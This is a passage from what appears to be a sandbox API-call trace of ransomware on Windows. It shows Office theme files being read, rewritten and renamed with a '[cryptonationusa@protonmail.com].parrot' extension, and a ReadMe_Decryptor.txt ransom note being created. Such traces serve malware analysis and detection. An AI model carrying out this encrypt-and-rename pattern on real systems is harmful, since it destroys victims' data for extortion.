hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.850] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.850] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x116dc, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x116dc, lpOverlapped=0x0) returned 1 [0122.854] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.857] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.858] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x694c18 | out: hHeap=0x5b0000) returned 1 [0122.858] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.858] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2220088 | out: hHeap=0x5b0000) returned 1 [0122.861] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.861] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.861] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.862] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x239, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x239, lpOverlapped=0x0) returned 1 [0122.862] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.862] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.863] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x694c18 | out: hHeap=0x5b0000) returned 1 [0122.863] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.863] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0122.865] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.865] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.866] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.866] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf75, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xf75, lpOverlapped=0x0) returned 1 [0122.867] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.867] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.868] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x694c18 | out: hHeap=0x5b0000) returned 1 [0122.868] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.868] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0122.870] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.870] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.871] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.872] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x81fd, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x81fd, lpOverlapped=0x0) returned 1 [0122.875] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.876] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.877] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x694c18 | out: hHeap=0x5b0000) returned 1 [0122.877] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.877] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0122.943] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.943] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.944] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.945] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb0ce, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb0ce, lpOverlapped=0x0) returned 1 [0122.947] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.948] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.950] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68c9e8 | out: hHeap=0x5b0000) returned 1 [0122.950] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.950] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0122.956] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.956] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.957] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.957] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f7, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1f7, lpOverlapped=0x0) returned 1 [0122.957] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.957] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.958] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68c9e8 | out: hHeap=0x5b0000) returned 1 [0122.958] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.958] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0122.960] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.960] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.962] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.962] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5ad, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5ad, lpOverlapped=0x0) returned 1 [0122.962] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.962] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.963] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x694ff8 | out: hHeap=0x5b0000) returned 1 [0122.963] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.963] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0122.965] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.966] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.967] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.967] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6212, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x6212, lpOverlapped=0x0) returned 1 [0122.970] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.970] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.971] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x694ff8 | out: hHeap=0x5b0000) returned 1 [0122.971] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.971] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6532a0 | out: hHeap=0x5b0000) returned 1 [0122.975] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.975] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.977] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.977] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1cf31, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1cf31, lpOverlapped=0x0) returned 1 [0122.978] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0122.978] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0122.978] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0122.978] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0122.978] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0122.978] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0122.979] GetLastError () returned 0x0 [0122.981] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.981] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0122.982] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0122.982] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0122.982] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4bb0 [0122.982] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0122.982] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0122.982] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0122.982] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4bb0 [0122.982] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0122.982] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0122.982] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0122.982] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0122.982] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0122.982] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604300 [0122.982] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0122.982] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0122.982] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604300 | out: hHeap=0x5b0000) returned 1 [0122.982] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0122.982] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0122.982] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d5240 [0122.982] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0122.982] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0122.982] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5240 | out: hHeap=0x5b0000) returned 1 [0122.982] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x660aa0 [0122.982] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0122.982] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x60ee50 [0122.982] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x660aa0 | out: hHeap=0x5b0000) returned 1 [0122.982] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0122.982] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ee50 | out: hHeap=0x5b0000) returned 1 [0122.982] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x69c668 [0122.982] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0122.982] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0122.982] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69c668 | out: hHeap=0x5b0000) returned 1 [0122.982] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0122.982] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0122.983] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0122.983] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0122.983] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0122.983] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0122.983] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0122.983] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0122.983] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0122.983] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0122.983] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0122.983] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0122.983] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x696250 [0122.983] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0122.983] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x647210 [0122.983] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x696250 | out: hHeap=0x5b0000) returned 1 [0122.983] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x6532a0 [0122.983] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x647210 | out: hHeap=0x5b0000) returned 1 [0122.983] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x647210 [0122.983] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6532a0 | out: hHeap=0x5b0000) returned 1 [0122.984] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x2210048 [0122.984] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x647210 | out: hHeap=0x5b0000) returned 1 [0122.984] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x22400c8 [0122.984] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0122.985] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x21c32) returned 0x3198458 [0122.987] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22400c8 | out: hHeap=0x5b0000) returned 1 [0122.987] WriteFile (in: hFile=0x27c, lpBuffer=0x3198460*, nNumberOfBytesToWrite=0x1d058, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x3198460*, lpNumberOfBytesWritten=0x18ebe4*=0x1d058, lpOverlapped=0x0) returned 1 [0122.988] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: hHeap=0x5b0000) returned 1 [0122.988] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1d049, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0122.988] CloseHandle (hObject=0x27c) returned 1 [0122.988] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x3171570 [0122.988] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x6951e8 [0122.988] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3171570 | out: hHeap=0x5b0000) returned 1 [0122.988] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.989] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6951e8 | out: hHeap=0x5b0000) returned 1 [0122.989] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.989] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2220088 | out: hHeap=0x5b0000) returned 1 [0122.989] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x660aa0 [0122.989] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x684228 [0122.989] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0122.989] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0122.989] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e9d8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0122.992] GetFileType (hFile=0x27c) returned 0x1 [0122.992] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0123.002] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.002] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.003] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.003] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x253, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x253, lpOverlapped=0x0) returned 1 [0123.003] RtlAllocateHeap 